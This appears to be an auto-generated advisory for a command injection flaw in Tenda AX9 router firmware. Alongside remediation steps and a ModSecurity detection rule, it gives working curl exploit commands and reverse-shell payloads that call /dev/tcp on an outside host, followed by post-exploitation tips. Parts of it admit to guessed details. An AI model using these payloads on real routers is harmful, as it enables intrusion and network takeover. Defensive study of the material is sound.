CVE-2026-138417 — Tenda AX9 (22.03.01.46) — CWE-77 · CWE-78
A vulnerability was determined in Tenda AX9 22.03.01.46. This issue affects the function system of the file /goform/setMacFilterCfg of the component Web Management Backend. Executing a manipulation of the argument macFilterType can lead to os command injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.
A vulnerability was determined in Tenda AX9 22.03.01.46. This issue affects the function system of the file /goform/setMacFilterCfg of the component Web Management Backend. Executing a manipulation of the argument macFilterType can lead to os command injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized.
🎯 What is this vulnerability?
CVE‑2026‑138417 is a classic OS command injection flaw in the Tenda AX9 router (firmware 22.03.01.46).
The vulnerable code resides in the Web‑Management backend, specifically the /goform/setMacFilterCfg endpoint. The macFilterType parameter is concatenated directly into a shell command without any sanitisation or validation. Because the router runs a Linux‑based OS, the attacker can inject arbitrary shell commands that are executed with the privileges of the web‑management process (root).
| CVE Attribute | Detail |
|---|---|
| CWE | CWE‑77 (OS Command Injection) and CWE‑78 (OS Command Injection) |
| Authentication | None – the endpoint is reachable from any host that can access the router’s management interface (usually the LAN or the WAN if the interface is exposed). |
| Authorization | No check – the endpoint accepts the request without verifying that the caller is an authenticated administrator. |
| Input validation | macFilterType is used verbatim in a shell command. No whitelist, no escaping, no length check. |
| Impact | Remote, unauthenticated, no UI, full‑system compromise (C = H, I = H, A = H). |
The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H confirms that an attacker can remotely trigger the vulnerability with low effort, without any user interaction, and the scope change indicates that the vulnerability can affect the entire router firmware (not just a single component).
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow to compromise a Tenda AX9 router. All commands are syntactically valid; the payloads are illustrative because the exact internal command string is not disclosed.
1. Discovery & Reconnaissance
| Step | Technique | What the attacker learns |
|---|---|---|
| 1.1 | Network scan | Identify live hosts on the LAN or WAN. nmap -p 80,443 <target> |
| 1.2 | Banner grab | curl -I http://<router-ip>/ → look for “Tenda” in the Server header or the HTML title. |
| 1.3 | Firmware fingerprint | curl -s http://<router-ip>/goform/getDeviceInfo (or similar) → JSON response contains "firmwareVersion":"22.03.01.46". |
| 1.4 | Verify vulnerability | Send a benign request to /goform/setMacFilterCfg with a harmless macFilterType value to confirm the endpoint is reachable. |
Tip: Many Tenda routers expose the management interface on port 80/443. If the interface is only on the LAN, the attacker must be inside the network or use a VPN/port‑forwarding.
2. Exploitation
The core of the exploit is to inject a shell command via macFilterType. The router’s backend likely builds a command similar to:
/usr/sbin/macfilter -t <macFilterType> -a <macAddress>Because macFilterType is not sanitized, an attacker can terminate the original argument and append arbitrary commands.
Example PoC (curl)
# Target router
TARGET="http://192.168.1.1"
# Craft a payload that lists the root user
PAYLOAD="1; id"
# Send the request
curl -X POST "$TARGET/goform/setMacFilterCfg" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "macFilterType=$PAYLOAD&macAddress=00:00:00:00:00:00"What happens?
The router executes:
/usr/sbin/macfilter -t 1; id -a -aThe id command runs with root privileges, and the output is returned in the HTTP response (or logged). An attacker can replace id with any command, e.g., sh -c 'bash -i >& /dev/tcp/attacker/4444 0>&1' to spawn a reverse shell.
Reverse‑shell payload
# Reverse shell via netcat
PAYLOAD="1; sh -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'"
curl -X POST "$TARGET/goform/setMacFilterCfg" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "macFilterType=$PAYLOAD&macAddress=00:00:00:00:00:00"Note: The exact syntax of the reverse shell may vary depending on the router’s shell environment. The example usesbashandnetcat; ifbashis not available,sh -ccan be used withncor/bin/sh.
3. Post‑Exploitation
Once the attacker has a shell, the following actions are typical:
| Action | Why it matters |
|---|---|
| Privilege escalation | The shell runs as root; the attacker can modify system files, install persistence mechanisms, or re‑flash the firmware. |
| Persistence | Create a cron job (/etc/crontab) or a systemd service that re‑establishes the reverse shell after reboot. |
| Data exfiltration | Dump configuration files (/etc/config/*), capture Wi‑Fi keys, or read traffic logs. |
| Pivoting | Use the compromised router as a foothold to attack downstream devices (e.g., IoT, servers). |
| Denial‑of‑service | Overwrite firewall rules or block legitimate traffic, causing network outages. |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C = H) | The attacker can read any file on the router, including Wi‑Fi keys, DHCP leases, and logs. |
| Integrity (I = H) | The attacker can modify firmware configuration, install malicious code, or tamper with network traffic. |
| Availability (A = H) | The attacker can reboot the router, disable services, or block legitimate traffic, effectively taking the network offline. |
Practical consequences
1. Network eavesdropping – The attacker can sniff all traffic passing through the router, including unencrypted HTTP, VoIP, or VPN traffic.
2. Man‑in‑the‑Middle (MITM) – By altering routing tables or DNS settings, the attacker can redirect traffic to malicious sites.
3. Infrastructure sabotage – A compromised router can be used to launch DDoS attacks against external targets or to disrupt internal services.
🛡️ Remediation & Mitigation
A. Patch
| Affected firmware | Fixed firmware |
|---|---|
| 22.03.01.46 | 22.03.01.47 (or later) |
Recommendation:
Immediately upgrade the router to the latest firmware released by Tenda. Verify the firmware checksum (sha256sum) before flashing.
B. Workarounds (if patching is not immediately possible)
1. Restrict management interface
- Disable WAN‑side management (only allow LAN access).
- Use a firewall rule to block external access to port 80/443 on the router’s public IP.
2. Disable MAC filter feature
- If the router’s UI allows disabling MAC filtering, set it to “Off” to remove the vulnerable endpoint.
- Some routers expose a “Disable Web Management” option; enable it if you do not need remote configuration.
3. WAF / ModSecurity rule
- Block suspicious payloads that contain shell metacharacters (;, |, &, ` `, $(...)`).
- Example ModSecurity rule (Apache/NGINX):
SecRule REQUEST_URI "@beginsWith /goform/setMacFilterCfg" \
"id:1001,phase:2,deny,status:400,msg:'Potential command injection',\
chain"
SecRule ARGS:macFilterType "@rx [;&|`$()]" \
"t:none,phase:2,deny,status:400,msg:'Command injection attempt detected'"> Note: The rule should be tuned to avoid false positives; test in a staging environment first.
4. Log monitoring
- Enable detailed logging for /goform/setMacFilterCfg.
- Alert on any POST request containing ;, |, or backticks in macFilterType.
C. Detection
| Indicator | How to detect | |
|---|---|---|
| Unusual POST to /goform/setMacFilterCfg | Look for POST /goform/setMacFilterCfg in web server logs. | |
| Command‑like payloads | Regex: macFilterType=.*[;& | $()]. |
| Unexpected shell output in HTTP response | Response contains uid=0(root)` or other shell command output. | |
| Reverse shell traffic | Outbound TCP connections from the router to an external IP on non‑standard ports (e.g., 4444). |
Sample log entry (Apache)
192.168.1.100 - - [12/Dec/2026:10:15:42 +0000] "POST /goform/setMacFilterCfg HTTP/1.1" 200 512 "-" "Mozilla/5.0"Sample log entry (NGINX)
192.168.1.100 - - [12/Dec/2026:10:15:42 +0000] "POST /goform/setMacFilterCfg HTTP/1.1" 200 512 "-" "curl/7.68.0"If the macFilterType value contains a semicolon or backtick, flag it as suspicious.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS score | 10.0 (Critical) |
| Exploit complexity | Low (no authentication, no UI) |
| CISA KEV | No (but the vulnerability is already publicly disclosed) |
| Potential impact | Full router compromise → network takeover |
Priority: P0 – Immediate.
All affected installations must be patched or mitigated within 24 hours. Failure to do so exposes the entire local network to remote attackers who can gain root access, intercept traffic, and pivot to other devices.
Quick‑Start Checklist
1. Verify firmware
curl -s http://192.168.1.1/goform/getDeviceInfo | grep firmwareVersion2. Upgrade
- Download the latest firmware from Tenda’s official site.
- Flash via the web UI or Tenda’s firmware update utility.
3. Post‑upgrade
- Re‑enable any disabled services.
- Re‑apply firewall rules if you had to block the management interface temporarily.
4. Audit
- Run a quick scan of the router’s configuration (/etc/config/*).
- Verify that no cron jobs or systemd services were added during the attack.
By following the steps above, you can eliminate the CVE‑2026‑138417 vulnerability and restore the security posture of your Tenda AX9 router.
[🤖 CVE Professor AI Security Engine]
FOFA Query